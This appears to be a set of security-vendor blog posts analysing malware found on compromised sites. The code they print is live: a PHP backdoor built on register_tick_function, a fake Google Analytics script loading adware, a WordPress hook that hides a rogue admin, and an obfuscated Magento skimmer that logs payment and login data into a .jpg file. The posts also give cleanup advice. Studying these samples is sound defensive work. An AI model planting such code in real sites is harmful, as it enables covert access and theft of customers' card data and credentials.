Backdooring sites using exotic php functions

Throughout the last few months, we published multiple articles about simple but powerful backdoors and how attackers get creative. Virtually in all cases, the code is designed to avoid detection and it’s not always highly encoded. Actually, we are seeing that most attackers are following the KISS ("Keep it simple, stupid”, “keep it short and simple”) principle and PHP is a vast programming language that can be used to implement malicious code in agreement with it.


During an investigation we found a small piece of code making use of the PHP function register_tick_function. A “tick” in PHP is an event that occurs within the domain of the function “register_tick_function()”.  This function is usually used for testing purposes (monitoring, profiling, etc), but as you might expect it can also be used for attackers to mask their code and  maintain access for as long as possible.

Here is the malicious snippet:

 declare(ticks=1)/*h85j7*/; @register_tick_function(${"_POST"}{'CEC'},@${"_POST"}{'Q36'} ); 

This piece of malware could be injected in virtually any php file on your server, either standalone or along with legit code and it executes whatever command you pass as argument through the 'CEC' and  'Q36' parameters following the next order:

CEC=passthru&Q36=whoami

As you may noticed the malware acts like a regular backdoor, allowing arbitrary command execution on affected websites while using not so popular PHP functions or noisy obfuscation methods that could raise the attention to the code.

If your website has been infected and need some help cleaning it up, please let us know.

Fake Google Analytics tracking code leading to Adware

Our Incident Response process makes sure we remove all malicious files and other small pieces of code inserted in good files that could be used to re-gain access to the environment. These pieces of malware could be very easy to detect based on encoding level, obfuscation, suspicious functions and few other variables. Some malware, on the other hand, try to hide themselves in plain sight by using regular PHP or JavaScript functions or pretending to be an authority they are not.


In this post, we’ll describe an issue where attackers injected an interesting script resembling the Google Analytics Tracking Code that leads to Adware. Once the website is compromised with this type of infection, the site displays the following Popup with Adware:

In order to load those popups, attackers injected the following snippet into a theme file:

<!-- Google Analytics --><script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticObject']=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=0;a.src=g;m.parentNode.insertBefore(a,m)})(window,document,'script','hxxps://google-analytics[.]ga/analytics?a8','qa');qa('create', 'UA-F1284271354829RWJ3RT', 'auto');</script><!-- End Google Analytics -->

As you might have noticed it, the domain "hxxps://google-analytics[.]ga" doesn't belong to Google and pretends to load the correct one "hxxps://google-analytics[.]com/ga.js". The domain is protected by a whois proxy service (Stichting OpenTLD WHOIS Proxy).

We detected the following domains were used in the redirect chains:

  • google-analytics[.]ga
  • hxxps://trafficome[.]ga/ga
  • hxxps://m1ii[.]ml

The code is usually injected on the footer of the current theme because it will be loaded every time the website is accessed.

Hooking WordPress Class to Hide Malicious Users

When a website is compromised, attackers perform post-exploitation tasks to  maintain  access to the site for as long as possible. One of these actions is usually the creation of admin users to remotely control the site or automate the creation or distribution of spam content. Unfortunately (for them), it’s really easy to detect and remove these fake users and they have to find and execute new techniques to actually hide them. During an investigation, we found a small piece of code inside the file "/current_wp_theme/functions.php" that caught our attention:


<?phpadd_action('pre_user_query','yoursite_pre_user_query');function yoursite_pre_user_query($user_search) {  global $current_user;  $username = $current_user->user_login;
 if ($username != 'admina') {    global $wpdb;    $user_search->query_where = str_replace('WHERE 1=1',      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where);  }}

Basically this code is being used as a Hook for the action “pre_user_query”. According to the official documentation,  this action "Fires after the WP_User_Query has been parsed, and before the query is executed" which allows us to actually modify the query of the WordPress core class “WP_User_Query”  on the fly.

In this case, the attacker is using the function  "str_replace()" to replace the original "user_search query"with one of his own, therefore making the malicious admin user "admina" invisible on the WordPress admin area (backend):

WHERE 1=1',      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where

If you see malicious posts on your site with an unknown author and you are not able to find the user to remove it, your site may be infected with a similar code. Also, If you have a File Integrity Monitoring system in place, you should be able to detect such changes to the File System and take the appropriate actions to prevent / remediate the infection (remove / re-upload).

Another sample of a Magento compromise for profit

We are often seeing malicious code being used to steal credit card details and sensitive information from compromised Magento sites, but this one caught our eyes as it was a bit different from the others on how the information was collected and stored.

Usually, the attacker send all the sensitive information via e-mail but in this case a text file with a "jpg" extension is created to store all the data:

if(preg_match("/".base64_decode('YWRtaW58cGF5bWVudHxvcmRlcnxzYXZlT3JkZXJ8b25lcGFnZXxjaGVja291dA==')."/i", $_SERVER["REQUEST_URI"])){ 
if(!empty($_POST))@file_put_contents(base64_decode('L2Nocm9vdC9ob21lL2RhaWx5Z3JhL2RhaWx5Z3JhYnMuY29tL2h0bWwvbWVkaWEvY2F0YWxvZy9wcm9kdWN0LzIvMS8yMV8xLmpwZw=='), base64_encode( @serialize($_POST)."--".@seralize($_COOKIE) )."\n", FILE_APPEND);
}

Basically, this code writes all the requests that contain one these words in the URL:"admin|payment|order|saveOrder|onepage|checkout" to a file located in "/media/catalog/product/2/1/21_1.jpg".

As you can imagine at this point, the customer's credit card details and admin's login are now available for download.

The data is encoded and serialized inside the file "21_1.jpg" but after revert these steps you'll see something like this:

[payment] => Array

        (
            [method] => vm
            [cc_type] => VI
            [cc_number] => XXXXX -> indistinct cc number
            [c_exp_month] => 9
            [cc_exp_year] => 2017
            [cc_cid] => 048
        )

Among other data, you'll see admin passwords, customer data and credit card details. It's quite scary realize that all these information is being stolen and attackers are continually changing their methods to keep undetected.

This particularly code is usually added inside the files "./app/code/core/Mage/Core/functions.php" or "./lib/Varien/Autoload.php" but other files may be affected. We recommend check constantly the core files for any change and keep all the software updated. Also, for obvious reasons, it's incredibly important change the password for all the admin users to avoid re-infections.

Finally, If you need a professional help, you can always count on us.